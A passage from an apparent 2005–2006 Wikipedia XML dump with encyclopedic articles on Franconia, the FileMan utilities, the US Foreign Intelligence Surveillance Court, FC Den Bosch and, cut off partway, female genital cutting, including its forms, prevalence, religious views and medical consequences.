In [[1803]], Napoleon incorporated the Bishop of Würzburg's Eastern Franconia into [[Bavaria]], to which it still belongs today. Culturally it is in many ways different from Bavaria proper, however. While &quot;Old Bavaria&quot; is overwhelmingly [[Catholic]], Franconia is a mixed area. Some parts such as [[Würzburg]], [[Aschaffenburg]] and [[Bamberg]] are predominantly Catholic, while others such as [[Bayreuth]], [[Ansbach]] and [[Nuremberg]] are predominantly [[Protestantism|Protestant]]. Most Franconians do not like to be called Bavarians.

Even if there is no Franconian state, red and white are regarded as state colours (Landesfarben) of Franconia.

==See also==
*[[East Franconian German]]
*[[Franconian German]]

==External links==
*[http://www.tacitus.nu/historical-atlas/regents/germany/franconia.htm Dukes of Franconia]
 

==Reference==
*[[Norman Cantor|Cantor, Norman]], ''The Civilization of the Middle Ages'' 1993. ISBN 0-06-017033-6


[[Category:Subdivisions of Germany]]

[[de:Franken (Region)]]
[[eo:Frankonio]]
[[fr:Franconie]]
[[nl:Francië]]
[[no:Franken]]
[[pl:Frankonia]]
[[pt:Francônia]]
[[ru:Франкония]]
[[sv:Franken]]</text>
    </revision>
  </page>
  <page>
    <title>FileMan</title>
    <id>11402</id>
    <revision>
      <id>15909148</id>
      <timestamp>2005-04-25T07:50:12Z</timestamp>
      <contributor>
        <username>MichaelDubner</username>
        <id>191434</id>
      </contributor>
      <minor />
      <comment>stubs-organization</comment>
      <text xml:space="preserve">'''FileMan''' is a set of utilities written by [[George Timson]] in the late 1970s and early 1980s, using [[MUMPS]], which provide a meta-data function for MUMPS applications.  The FileMan utilities allow the definition of data structures, menus and security, reports, and forms, allowing someone to set up applications without tremendous experience in the MUMPS programming language.

Its first use was in the development of medical applications for the Veterans Administration, now called the Department of Veterans Affairs, a branch of the [[United States]] Government.
Since it was a work created by the government, a copyright cannot be placed on the source code, making the source code in the public domain.  Because of this, it has been used for rapid development of applications across a number of organizations, including commercial products.

FileMan may be used standalone, or may be used with the [[VA Kernel]], which provides an operating system neutral environment for applications.

{{compu-soft-stub}}

[[Category:Operating systems]]</text>
    </revision>
  </page>
  <page>
    <title>United States Foreign Intelligence Surveillance Court</title>
    <id>11404</id>
    <revision>
      <id>41825147</id>
      <timestamp>2006-03-02T00:05:26Z</timestamp>
      <contributor>
        <username>That Guy, From That Show!</username>
        <id>419920</id>
      </contributor>
      <minor />
      <comment>migrate {{web reference}} (deprecated) to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">The '''United States Foreign Intelligence Surveillance Court''' (or '''FISC''') is a [[United States federal courts|U.S. federal court]] authorized under {{UnitedStatesCode|50|1803}} and established by the [[Foreign Intelligence Surveillance Act]] of [[1978]] (known as FISA for short).  Its jurisdiction is to oversee requests for surveillance [[Warrant (law)|warrants]] by federal police agencies (primarily the [[Federal Bureau of Investigation|F.B.I.]]) against suspected foreign [[secret agent|intelligence agents]] inside the United States.

==FISA warrant==
Each application for one of these surveillance warrant (called a FISA warrant) is made before an individual judge of the court.   Like a [[grand jury]], FISC is not an [[Adversary system|adversarial court]]: the federal government is the only party to its proceedings.  However, the court may allow third parties to submit briefs as ''[[amicus curiae|amici curiae]]''.  If an application is denied by one judge of the FISC, the federal government is not allowed to make the same application to a different judge of the FISC.  Instead, denials must be appealed to the [[United States Foreign Intelligence Surveillance Court of Review]].  Such appeals are rare: the first appeal from the FISC to the Court of Review was made in [[2002]], 24 years after the founding of the FISC. 

It is also rare for FISA warrant requests to be turned down by the court.  Through the end of [[2004]], 18,761 warrants were granted, while just five were rejected (many sources say four).  Fewer than 200 requests had to be modified before being accepted, almost all of them in [[2003]] and [[2004]].  The four known rejected requests were all from [[2003]], and all four were partially granted after being resubmitted for reconsideration by the government.  Of the requests that had to be modified, few if any were before the year [[2000]].  In subsequent years, according to journalist [[Joshua Micah Marshall]], the breakdown was as follows:{{ref|TalkingPoints051217}}
{| class=&quot;wikitable&quot;
! Year !! Modified requests
|-
| 2000 || 1 request modified
|-
| 2001 || 2 requests modified
|-
| 2002 || 2 requests modified (both modifications later reversed)
|-
| 2003 || 79 requests modified (out of 1724 granted)
|-
| 2004 || 94 requests modified (out of 1758)
|}

On [[May 17]], [[2002]], the court rebuffed then-[[Attorney General]] [[John Ashcroft]], releasing an opinion that alleged that [[FBI]] and [[Justice Department]] officials had &quot;supplied erroneous information to the court in more than 75 applications for search warrants and wiretaps, including one signed by then-FBI Director Louis J. Freeh&quot;.{{ref|WaPo020823}}  Whether this rebuke is related to the court starting to modify drastically more requests in [[2003]] is unknown.

On [[December 16]], [[2005]], the [[New York Times]] reported that the [[George W. Bush|Bush]] administration had been conducting surveillance against U.S. citizens without the knowledge of the FISC since [[2002]].{{ref|Nyt051216}}  On [[December 20]], [[2005]], Judge James Robertson resigned his position with the FISC, apparently in protest of the secret surveillance.{{ref|WaPo051221}}
The government's apparent circumvention of the FISC may also be related to the increase in court-ordered modifications to warrant requests.

==Closed hearings and classified proceedings==
Because of the sensitive nature of its business, the FISC is a &quot;secret court&quot;: its hearings are closed to the public, and, while records of the proceedings are kept, those records are also not available to the public.  (Copies of those records with [[classified]] information redacted out can and have been made public.)  Due to the classified nature of its proceedings, only government attorneys are usually permitted to appear before the FISC.  Due to the nature of the matters heard before it, FISC hearings may need to take place at any time of day or night, weekdays or weekends; thus, at least one judge must be &quot;on call&quot; at all times to hear evidence and decide whether or not to issue a warrant.

==Composition==
When the court was founded, it was composed of seven [[United States district court|federal district]] judges appointed by the [[Chief Justice of the United States]], each serving a seven year term, with one judge being appointed each year.  In [[2001]], the [[USA PATRIOT Act]] expanded the court from seven to eleven judges&lt;!-- Public Law 107-56 § 208--&gt;, and required that at least three of the judges of the court be from within twenty miles of the [[Washington, D.C.|District of Columbia]].  No judge may be appointed to this court more than once, and no judge may be appointed to both the Court of Review and the FISC.

==Current membership==
{| class=&quot;wikitable&quot;
! Judge
! Judicial District
! Date Appointed
! Term Expiry
|-
| [[Colleen Kollar-Kotelly]] ''(presiding)''
| [[U.S. District Court for the District of Columbia|District of Columbia]]
| [[May 19]], [[2002]]
| [[May 18]], [[2009]]
|-
| [[Dee Benson]]
| [[U.S. District Court for the District of Utah|District of Utah]]
| May 2004
| May 2011
|-
| [[Robert C. Broomfield]]
| [[U.S. District Court for the District of Arizona|District of Arizona]]
| [[October 1]], [[2002]]
| [[May 18]], [[2009]]
|-
| [[James G. Carr]]
| [[U.S. District Court for the Northern District of Ohio|Northern District of Ohio]]
| [[May 19]], [[2002]]
| [[May 18]], [[2008]]
|-
| [[John E. Conway]]
| [[U.S. District Court for the District of New Mexico|District of New Mexico]]
| [[May 19]], [[2002]]
| [[May 18]], [[2007]]
|-
| [[Michael J. Davis]]
| [[U.S. District Court for the District of Minnesota|District of Minnesota]]
| [[May 18]], [[1999]]
| [[May 18]], [[2006]]
|-
| [[Nathaniel M. Gorton]]
| [[U.S. District Court for the District of Massachusetts|District of Massachusetts]]
| [[May 18]], [[2001]]
| [[May 18]], [[2008]]
|-
| [[Claude M. Hilton]]
| [[U.S. District Court for the Eastern District of Virginia|Eastern District of Virginia]]
| [[May 18]], [[2001]]
| [[May 18]], [[2007]]
|-
| [[Malcolm Howard]]
| [[U.S. District Court for the Eastern District of North Carolina|Eastern District of North Carolina]]
| 2005
| 2012
|-
| [[George P. Kazen]]
| [[U.S. District Court for the Southern District of Texas|Southern District of Texas]]
| [[May 18]], [[2003]]
| [[May 18]], [[2010]]
|-
| ''[[James Robertson (judge)|James Robertson]]''
| ''[[U.S. District Court for the District of Columbia|District of Columbia]]''
| ''[[May 19]], [[2002]]''
| ''[[May 18]], [[2006]]&lt;br&gt;(resigned [[December 20]], [[2005]])''
|}

==Notes==
# {{note|TalkingPoints051217}} [http://www.talkingpointsmemo.com/archives/007280.php Here are some more details on the record of the FISA Court], ''[[Talking Points Memo]]'', [[December 17]] [[2005]]
# {{note|WaPo020823}} [http://foi.missouri.edu/secretcourts/seccrtrebuffs.html Secret Court Rebuffs Ashcroft: Justice Dept. Chided On Misinformation], ''[[Washington Post]]'', [[August 23]], [[2002]] page A01
# {{note|Nyt051216}} [http://select.nytimes.com/gst/abstract.html?res=F00F1FFF3D540C758DDDAB0994DD404482 Bush Lets U.S. Spy on Callers Without Courts], ''[[New York Times]]'', [[December 16]] [[2005]] - [http://www.informationclearinghouse.info/article11315.htm mirror]
# {{note|WaPo051221}} [http://www.washingtonpost.com/wp-dyn/content/article/2005/12/20/AR2005122000685.html Spy Court Judge Quits In Protest: Jurist Concerned Bush Order Tainted Work of Secret Panel], ''[[Washington Post]]'', [[December 21]] [[2005]]

== References ==
* {{cite web| url=http://www.fas.org/irp/agency/doj/fisa/court2005.html| title=Foreign Intelligence Surveillance Court 2005 Membership| work=Website of the Federation of American Scientists| accessdate=December 19| accessyear=2005}}
* {{cite web| url=http://www.usatoday.com/news/washington/2005-12-18-nsa-70s_x.htm| title=NSA's surveillance of citizens echoes 1970s controversy| work=USA Today| accessdate=December 18| accessyear=2005}}
* [http://www.epic.org/privacy/wiretap/stats/fisa_stats.html FISA orders 1979-2004]
* {{cite web| author=[[John Ashcroft|Ashcroft, John]]| year=2001| url=http://www.fas.org/irp/agency/doj/fisa/2000rept.html| title=''(Untitled DOJ memo summarizing FISA applications for calendar year 2000)''| accessdate=December 17| accessyear=2005}}
* {{cite web| author=[[John Ashcroft|Ashcroft, John]]| year=2002| url=http://www.fas.org/irp/agency/doj/fisa/2001rept.html| title=''(Untitled DOJ memo summarizing FISA applications for calendar year 2001)''| accessdate=December 17| accessyear=2005}}
* {{cite web| author=[[John Ashcroft|Ashcroft, John]]| year=2003| url=http://www.fas.org/irp/agency/doj/fisa/2002rept.html| title=''(Untitled DOJ memo summarizing FISA applications for calendar year 2002)''| accessdate=December 17| accessyear=2005}}
* {{cite web| author=Moschella, William E.| year=2004| url=http://www.fas.org/irp/agency/doj/fisa/2003rept.pdf| title=''(Untitled DOJ memo summarizing FISA applications for calendar year 2003)''| format=PDF| accessdate=December 17| accessyear=2005}}
* {{cite web| author=Moschella, William E.| year=2005| url=http://www.fas.org/irp/agency/doj/fisa/2004rept.pdf| title=''(Untitled DOJ memo summarizing FISA applications for calendar year 2004)''| format=PDF| accessdate=December 17| accessyear=2005}}

==External links==
* [http://www.aclu.org/patriot_foia/2003/court_rules.pdf Rules of the Foreign Intelligence Surveillance Court]

[[Category:Judicial Branch of the United States Government|Foreign Intelligence Surveillance Court]]</text>
    </revision>
  </page>
  <page>
    <title>First past the post</title>
    <id>11406</id>
    <revision>
      <id>31208644</id>
      <timestamp>2005-12-13T17:03:06Z</timestamp>
      <contributor>
        <username>Joshuapaquin</username>
        <id>49254</id>
      </contributor>
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[plurality voting system]]</text>
    </revision>
  </page>
  <page>
    <title>FC Den Bosch</title>
    <id>11407</id>
    <revision>
      <id>40210018</id>
      <timestamp>2006-02-18T23:53:45Z</timestamp>
      <contributor>
        <username>Sherool</username>
        <id>260314</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] redundant image replacement and/or clean up</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Den Bosch |
  image    = [[Image:Denbosch.gif]]|
  fullname = Football Club Den Bosch |
  nickname = ''The Blue White Dragons'' |
  founded  = [[August 18]], [[1965]] |
  ground   = [[ECCO Stadion]],&lt;br&gt;[['s-Hertogenbosch]] |
  capacity = 9,000 |
  chairman = [[Bert Kersten]] |
  manager  = [[Theo Bos]] |
  league   = [[Eerste Divisie]] |
  season   = 2004-05 |
  position = [[Eredivisie]], 18th&lt;br&gt;(relegated) |
  shirtsupplier= |
  shirtsponsors= |
  pattern_la1=|pattern_b1=_thinwhitesides|pattern_ra1=|
  leftarm1=0000AA|body1=0000AA|rightarm1=0000AA|shorts1=0000AA|socks1=FFFFFF|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=FFFFFF|body2=FFFFFF|rightarm2=FFFFFF|shorts2=000000|socks2=FFFFFF|
}}
'''FC Den Bosch''' is [[Football (soccer)|football]] club from [['s-Hertogenbosch]], [[the Netherlands]].

It was founded [[August 18]], [[1965]] as FC Den Bosch/BVV. It is the successor of BVV ([[1906]]) and Wilhelmina ([[1890]]) Its stadium is called '[[De Vliert]]', a 9,000 all-seater. [[Ruud van Nistelrooy|Ruud van Nistelrooij]] started his professional career at this club.  In 2005 they finished bottom of the Eredivisie and were relegated. 

*Dutch champion: [[1947]] (as BVV)
*Champion [[Eerste Divisie]] (the Dutch Second Division): [[1966]], [[1971]], [[1999]], [[2001]] and [[2004]].

==Current squad==
{|
|valign=&quot;top&quot;|
*1 [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Martijn van Strien]]
*2 [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Paul Verhaegh]]
*3 [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Peter Uneken]]
*5 [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Ferne Snoyl]]
*8 [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Mounir Biyadat]]
*9 [[Image:Flag of Belgium.svg|20px|Belgian]] [[Jochen Janssen]]
*11 [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Berry Powel]]
*14 [[Image:Flag of Belgium.svg|20px|Belgian]] [[Rob Haemhouts]]
*15 [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Gijs Cales]]
*17 [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Paul Beekmans]]
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*- [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Danilo Verus]]
*- [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Tom Rietberg]]
*- [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Marcel Cas]]
*- [[Image:Flag of Belgium.svg|20px|Belgian]] [[Wim Raymaekers]]
*- [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Lorenzo Rimkus]]
*- [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Prince Rajcomar]]
*- [[Image:Netherlands_antilles_flag_large.png|20px|Netherlands Antilles]] [[Richal Leitoe]]
*- [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Michel Vorm]]
*- [[Image:Flag of the Netherlands.svg|20px|Dutch]] [[Jaap Davids]]
|}

==See also==
*[[List of football clubs in the Netherlands|Dutch football league teams]]

==External links==
*[http://www.fcdenbosch.nl/ Website of FC Den Bosch]

{{Eerste divisie}}

[[Category:Dutch football clubs|Den Bosch]]

[[nl:FC Den Bosch]]</text>
    </revision>
  </page>
  <page>
    <title>Female genital cutting</title>
    <id>11408</id>
    <revision>
      <id>41981806</id>
      <timestamp>2006-03-03T00:55:51Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation ([[WP:DPL|you can help!]]): Husband</comment>
      <text xml:space="preserve">'''Female genital cutting''' (FGC) refers to a number of procedures performed for [[Culture|cultural]], rather than [[Surgery|medical]], reasons on the female [[genitals|genitalia]].  Although occasionally practiced by some doctors in the [[United States]] until 1958, in recent years it is only common in parts of [[Africa]] and by minority groups in some countries of the [[Middle East]]. Less frequently, it occurs among some immigrant communities in parts of [[Asia]] and the [[Pacific]], [[North America|North]] and [[Latin America]], and [[Europe]]. Opponents of these practices use the term '''female genital mutilation (FGM)'''. The official term '''female circumcision''' is also in common usage, though advocates of male [[circumcision]] argue that this results in unwanted associations between the two practices, while [[genital integrity]] advocates might refer to all child genital cutting as '''mutilation'''.

Most [[Human rights]] organizations in [[western civilization|the West]], [[Africa]], and Asia consider female genital cutting rituals a violation of women's human rights. Among these groups and governments, they are regarded as unacceptable and illegal forms of [[body modification]] and [[mutilation]] of those believed to be too young or otherwise unable to give [[informed consent]].

==Different forms==
There are several distinct practices that are all generally referred to by this name. In particular, while female genital cutting is generally thought of in the West as involving the complete destruction of the female sexual organs in an effort to eliminate the female's sexual pleasure, in some forms female circumcision is claimed to be analogous to [[male circumcision]], in that both procedures can involve the removal of the [[prepuce]] and the [[frenulum]].

In other cases, the procedure has no tissue removal at all, but is simulated with a knife as part of a ceremony, or with a symbolic drop of blood released with a needle. Those that involve tissue removal are usually divided into three major types.

===Clitoridotomy===
&quot;Clitoridotomy&quot; (which is also called &quot;hoodectomy&quot; as a slang term) involves the removal or splitting of the [[clitoral hood]].  The [[United Nations Population Fund]] states that this is comparable to male circumcision.[http://www.unfpa.org/gender/faq_fgc.htm#4] In the [[United States]] and other Western countries, clitoridotomy is usually performed on adult women rather than on children. Sunna circumcision (named after the Arabic word for anything approved by Islamic law and centred in Islamic tradition: in fact, there is no genuine approval for this, and some Muslim clergy oppose all forms of FGC) may or may not involve the removal of part of the clitoris as well as the prepuce [http://www.medsci.ox.ac.uk/gazette/volume54-1/03/].

''Type I'' circumcision is defined by the [[World Health Organisation]] as clitoridotomy and perhaps excision of part or all of the clitoris (clitoridectomy; see following section). However, some authors (e.g.., [http://www.guttmacher.org/pubs/journals/2905103.html Cohen]) define type I as at least partial removal of the clitoris.

From the late [[19th century]] until the [[1950s]], it and other more invasive procedures, including excision of the clitoris and [[infibulation]] were practiced in Western countries to control female sexuality, and were advocated in the [[United States]] by groups like the [[Orificial Surgery Society]] until [[1925]]. According to Paige, doctors advocating or performing these procedures claimed that girls of all ages would otherwise engage in more [[masturbation]] and be &quot;polluted&quot; by the activity, which was referred to as &quot;[[self-abuse]]&quot; [http://www.noharmm.org/paige.htm].

Through the [[1950s]], some doctors continued to advocate clitoridotomy for hygienic reasons or to reduce masturbation. For example, C.F. McDonald wrote in a [[1958]] paper titled ''Circumcision of the Female'' [http://www.noharmm.org/circumfemale.htm],[http://www.courtchallenge.com/refs/fgm2.gif], &quot;If the male needs circumcision for cleanliness and hygiene, why not the female? I have operated on perhaps 40 patients who needed this attention.&quot; The author describes symptoms as &quot;irritation, scratching, irritability, masturbation, frequency and urgency,&quot; and in adults, smegmaliths causing &quot;[[dyspareunia]] and frigidity.&quot; The author then reported that a two-year old was no longer masturbating so frequently after the procedure. Of adult women, the author stated that &quot;for the first time in their lives, sex ambition became normally satisfied.&quot; In the U.S., the last documented clitoridotomy to reduce sexual activity occurred in [[1958]]. The procedure was performed on a 5-year-old girl, reportedly to stop her from masturbating. Justification of the procedure on hygienic grounds, or to reduce masturbation, has since declined. The view that masturbation is a cause of mental and physical illness has dissipated since the mid-20th century [http://www.afraidtoask.com/masturbate/History.htm].

A few [http://sciam.com/article.cfm?articleID=000160EE-E53A-1C67-B882809EC588ED9F doctors] and [http://www.tantra.co.nz/yoni/circumsision.htm others] advocate clitoridotomy of adults, promoting it as a way of increasing sexual sensitivity and [[sexual pleasure]]. One claim is that a large clitoral hood may make stimulation of the [[clitoris]] difficult. Websites promoting the practice [http://www.circlist.com/femalecirc/anatfemale.html Circlist], [http://bmezine.com bmezine] and [http://www.geocities.com/hoodectomy/hoodectomy.html The Clitoral Hood Removal Information Page] contain testimonials and two of them provide summaries of medical [http://www.geocities.com/hoodectomy/MedicalStudies.htm studies], including several finding that the majority of women reported improved sensation following the procedure (for example, 87.5% in [http://www.circlist.com/femalecirc/femalecirc.html Rathmann's] 1959 study, and 75% in Knowles', as quoted in the summary of studies mentioned previously).

An increasing number of women are requesting circumcision and [http://www.geocities.com/hoodectomy/Web.htm reporting] enhanced sexual enjoyment. Doctors who can perform this operation are [http://www.geocities.com/hoodectomy/Where.htm available] and [http://www.altermd.com/ some] have their own [http://www.drloftusplasticsurgery.com/ websites] with details of this and other procedures.

===Clitoridectomy===
'''Clitoridectomy''' means the partial or total removal of the external part of the clitoris. It was sometimes practiced in English-speaking nations in the first half of the Twentieth Century to stop masturbation. [http://www.fgmnetwork.org/articles/duffy.htm]. It is, however, quite common in many countries of sub-Saharan Africa, east-Africa, Egypt, Sudan, and the Arabian Peninsula.

''Type II'' circumcision is more extensive than ''type I'', meaning clitoridectomy and sometimes also removal of the [[labia minora]].

(There are reports that some women in certain &quot;alternative lifestyles&quot; communities in the United States have sought clitoridectomy because they are intrigued by the drama of the sacrifice involved with having their sensitive clitoris removed, while others seek the procedure in the hope that the pleasure in their buttocks and anal region will be greatly enhanced if the distraction of genital sensation is eliminated.)

Neurectomy, or severing of the pubic nerve to permanently numb the genitals and approximate the effect of a clitoridectomy was performed on institutionalized girls and women around the turn of the 20th Century in America and Australia, and electrical cauterization of the clitoris was reported to have been occasionally performed on mental patients in the USA to stop them from masturbating as recently as 1950.

The kind of things that sometimes happened to girls and women were documented in Alex Comfort's book, &quot;The Anxiety Makers&quot;, Panther Edition, London, 1968:

:About 1858, Dr Isaac Baker Brown, later president of the Medical Society of London, introduced the operation of clitoridectomy for the consequences of what he coyly calls 'peripheral excitement'.  These, in his view, included epilepsy, hysteria and the convulsive disorders generally. (page 109)

In 1866 Brown published a series of 48 of such cases. This caused what Comfort called an 'almighty row'. Dr Baker Brown was ejected from the Obstetrical Society. Comfort says (page 111) that 'clitoridectomy fortunately disappeared from England'. However, it was taken up in the United States:

:In 1894, we find Dr. Eyer of the St. John's Hospital, Ohio, dealing with nervousness and masturbation in a little girl by cauterizing the clitoris; this failing, a surgeon was called in to bury it with silver wire sutures - which the child tore and resumed the habit. The entire organ was then excised, with the crura. Six weeks after the operation the patient is reported as saying, 'You know there is nothing there now, so I could do nothing.' (Comfort, ibid, page 111)

Comfort says that this concern about masturbation 'did not really die out completely until the 1940s with the statistical studies of [[Kinsey]]' (Comfort, ibid, page 119)

===Infibulation===
The form of female circumcision regarded as the most severe is ''Type III'', which is also referred to as ''[[infibulation]]'' or ''pharaonic circumcision''. This is often carried out by a &quot;gedda,&quot; or matron of the village, without [[Anaesthesia|anaesthetic]], on girls between the ages of two and six.

Infibulation replaces the [[vulva]] with a wall of flesh from the [[pubis]] to the [[anus]], except for a pencil-size opening at the inferior portion of the vulva to allow [[urine]] and [[Menstruation|menstrual blood]] to pass through. A reverse infibulation is where the opening is left in the anterior part of the vulva in front of the [[uretha]]. After excision, the labia are sewn together, and since the skin is abraded and raw after being cut, the two surfaces will join via the natural healing and scar-formation process to form a smooth surface. The girl's legs are tied together for around two weeks to prevent her from moving the wound. [http://www.cirp.org/pages/female/pieters1]

The sewn-together labia majora are slightly opened before [[sexual intercourse]] by the girl's [[Marriage|husband]] &amp;mdash; girls will often be married at 12&amp;ndash;16 years old &amp;mdash; or by his female relatives, whose responsibility it is to inspect the wound every few weeks and open it some more if necessary.

During [[childbirth]], the enlargement is too small to allow vaginal delivery, and so the infibulation must be opened completely and restored after delivery. Once again, the legs are tied together to allow the wound to heal, and the procedure is repeated for each subsequent act of intercourse or childbirth. When childbirth takes place in a hospital, the surgeons may preserve the infibulation by enlarging the vagina with deep [[Episiotomy|episiotomies]]. Afterwards, the patient may insist that her vagina be closed again so that her husband does not reject her. [http://www.cirp.org/pages/female/pieters1]

This practice is reported to cause the disappearance of sexual pleasure for the women affected, as well as major medical complications, although advocates of the practice deny this, and continue to carry it out. &lt;!--Do we have a source showing that the advocates deny whatever it is they deny?--&gt;

===Other types of female circumcision===
Other forms are collectively referred to as ''Type IV''. This includes a diverse range of practices, including pricking the clitoris with needles, burning or scarring the genitals as well as ripping or tearing of the vagina. Type IV is found primarily among isolated ethnic groups as well as in combination with other types.

==Areas of practice==

[[Image:Fgm_map.gif|250px|thumb|right|Prevalence of female genital cutting in Africa]]

Female genital cutting is today mainly practiced in [[Africa]]n countries. It is common in a band that stretches from [[Senegal]] in West Africa to [[Somalia]] on the East coast, as well as from [[Egypt]] in the north to [[Tanzania]] in the south. In these regions, it is estimated that more than 95% of all women have undergone this procedure. It is also practiced by some groups in the Arabian peninsula [http://www.amnesty.org/ailib/intcam/femgen/fgm1.htm], especially among a minority (20%) in [[Yemen]].

Although it is practiced by African Christians, Jews and Muslims alike, it is also known to exist throughout the [[Middle East]], though it is veiled in secrecy, unlike in parts of Africa, where it is practiced relatively openly.  The practice occurs particularly in northern [[Saudi Arabia]], southern [[Jordan]], and [[Iraq]], and there is also circumstantial evidence to suggest it is present in [[Syria]], western [[Iran]], and among the [[Bedouin]] population of [[Israel]].[http://www.csmonitor.com/2005/0810/p06s01-woiq.html?s=t5] In [[Oman]] a few communities still practice FGC; however, experts believed that the number of such cases was small and declining annually. In the [[United Arab Emirates]] and also [[Saudi Arabia]], it's practiced among some foreign workers from East Africa and the Nile Valley. 

The practice can also be found among a few ethnic groups in [[South America]] and [[India]]. In [[Indonesia]] [http://www.state.gov/g/wi/rls/rep/crfgm/10102.htm] and [[Malaysia]] the practice is fairly common among the country's Muslim women; however, in contrast to Africa, almost all are Type I or Type IV (involving a symbolic prick to release blood) procedures.

The practice is particularly common in [[Somalia]], followed by [[Egypt]], [[Sudan]], [[Ethiopia]] and [[Mali]]. Among ethnic Somali women, infibulation is traditionally almost universal. In the Arab peninsula, sunna circumcision is usually performed, especially among Arabs (ethnic groups of African descent are more likely to prefer infibulation).

[[Amnesty International]] estimates that over 130 million women worldwide have been affected by these procedures, with over 2 million being performed every year.

In modern times, the practice has spread to Europe and the U.S. due to immigration. Some tradition-minded families have the procedure performed while on [[vacation]] in their home countries.

==Cultural background==
Female genital cutting is primarily a social practice, not a religious one. It is today a mainly African cultural practice. It crosses the lines of various religious groups. It is found among Muslims, Christians, [[African Jews]] and Animists. [http://www.amnesty.org/ailib/intcam/femgen/fgm1.htm#a11]

A number of reasons are put forward for the practice of FGC. These include the belief that it annuls or moderates [[human sexuality|sexual desires]] in women. It is also believed that it is more hygienic. Frequently the practice is associated with traditional [[initiation rite]]s. Some believe religion justifies the practice.

In some cultures there exists the belief that a newborn child has elements of both sexes. In the male body the foreskin of the penis is considered to be the female element. In the female body the clitoris is considered to be the male element. Hence when the adolescent is reaching puberty, these elements are removed to make the indication of sex clear.

The operation is most often carried out by female practitioners. Thus it has been attributed by some authors to a deep-rooted fear of elder women that the more attractive younger women might seduce away their husbands and thus leave them without support.

Many African Muslims believe that female circumcision is required by Islam. In fact, no form of [[genital modification and mutilation]] is mentioned in the [[Qur'an]], but only in a disputed [[hadith]]. [http://www.minaret.org/fgm.htm] Even then, the hadith only permits and does not require the process. Only one of the four Islamic schools of juriprudence or law, the Shafi'i school,  allowed for a &quot;slight trimming&quot; of the hood of the clitoris, supposedly in order to enhance sexual pleasure for the woman. Most contemporary scholars reject it completely.

In Saudi Arabia ([[Hijaz]]), where Islam originated, FGC was practised during the life-time of [[Muhammad]]. To call a man a &quot;circumciser of women&quot; was an insult among the pagan Arabs at the time.  There is no evidence concerning whether this was practised on Muhammad's daughters, but according to his wife Aisha, Muhammad defined lawful intercourse as something that happens when the circumcised parts of the male and female touch each other. Muhammad also recommended in a hadith that the circumcision of females should not be too severe.


Most Muslim scholars believe FGM is practiced as a result of ignorance and misconceived religious fervor rather than for reasons of true religious doctrine--and any religious basis for the practice is denied. Many [[Arab]] Muslims interpret different passages as being in opposition to FGC, and believe the practice to be un-[[Islam]]ic. 

Shaykh [[Faraz Rabbani]] of [http://SunniPath.com SunniPath] states &quot;As for excision, FGM, or other harmful practices [including that which take sexual pleasure away from women], which have become culturally widespread, none of these are in any way permitted.&quot;[http://www.Sunnipath.com] Amnesty International asserts that &quot;FGM predates Islam and is not practised by the majority of Muslims, but has acquired a religious dimension.&quot; [http://www.amnesty.org/ailib/intcam/femgen/fgm1.htm#a3]

A few others, like the Egyptian [[Mufti]] Sheikh Jad Al-Hâqq 'Ali Jad Al-Hâqq issued, in [[1994]], a [[fatwa]] stating: &quot;Circumcision is mandatory for men and for women. If the people of any village decide to abandon it, the [village] imam must fight against them as if they had abandoned the call to prayer.&quot;
[http://www.memri.org/bin/articles.cgi?Area=reform&amp;ID=SP72104]  Al-Azhar University has issued fatwas in 1949, 1951 and 1981 which endorsed the practice. [Gad-al-hak: Khitan al banat, pp. 3119-3125, in Sami A. Aldeeb, Mutiler, Institut Suisse de Droit Comparé, 1993, p. 191.] However, in March 2005, Dr Ahmend Talib, Dean of the Faculty of Sharia, Al Azhar University, Cairo, said: &quot;All practices of female circumcision and mutilation are crimes and have no relationship with Islam. Whether it involves the removal of the skin or the cutting of the flesh of the female genital organs...it is not an obligation in Islam.&quot; [http://www.ghanaweb.com/GhanaHomePage/NewsArchive/artikel.php?ID=77396]

It is also common among African Christians and Jews in Ethiopia and surrounding areas, and many believed it to be justified on religious grounds. For example, in Ethiopia some &quot;Coptic Christian priests refuse to baptize girls who have not undergone one of the FGM procedure.&quot; However, in September 1998, both Christian and Muslim leaders publicly denounced the practice.
[http://www.state.gov/g/wi/rls/rep/crfgm/10098.htm]

==Medical consequences==
Among practicing cultures, FGC is most commonly performed between the ages of four and eight. As with most plastic surgery, advocates of it believe it should be performed under hygienic conditions and with the application of an appropriate [[anaesthesia|anaesthetic]]. However, this technology has only been available for a relatively short time, and even today the procedure is usually carried out without anesthesia and under unsanitary conditions. As with any procedure, FGC can be extremely painful and dangerous to health when not performed hygienically.  

In the case of Clitoridectomy, the principal and most obvious social/medical consequence, irrespective of the sanitary conditions, is the elimination of what is assumed to be the individual's main organ of sexual pleasure, which is the basis upon which the United Nations and most societies to classify it as a human-rights violation.

Some argue that making the process illegal drives it underground and thus puts the recipients at greater risk. Some opponents of the practice argue that the deterrent effect of prohibition outweighs such risks.

